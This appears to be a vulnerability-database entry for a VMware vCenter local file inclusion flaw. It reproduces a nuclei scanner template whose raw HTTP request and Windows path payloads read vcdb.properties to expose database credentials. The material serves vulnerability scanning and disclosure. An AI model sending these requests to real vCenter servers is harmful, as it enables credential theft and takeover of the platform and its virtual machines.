vmware-vcenter-lfi: VMware vCenter - Local File Inclusion

2025-08-01 VMware vCenter PoC Public

Description

VMware vCenter 存在任意文件读取漏洞，可读取 vCenter 配置文件获得管理帐号密码进而控制 vCenter 平台及其管理的虚拟机集群。

由于 EAM 用户运行该存在漏洞的服务（非域用户），因此不存在 NTLM Relay 等中继攻击风险。

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PoC

id: vmware-vcenter-lfi

info:
  name: VMware vCenter - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: VMware vCenter is vulnerable to local file inclusion.
  reference:
    - https://kb.vmware.com/s/article/7960893
    - https://twitter.com/ptswarm/status/1316016337550938122
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 3
  tags: vmware,lfi,vcenter,vuln

http:
  - raw:
      - |
        GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
        - "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
        - "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ac3e187c065cd32436ca6c1800c4fd8b4f6caccad14d10e3ec5713c881bc8cb9022100e1cb51be6913f67bbacead0c94ff01aea91fc3683d4e3319b0e5a12f104b5db0:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/vmware/vmware-vcenter-lfi.yaml

References

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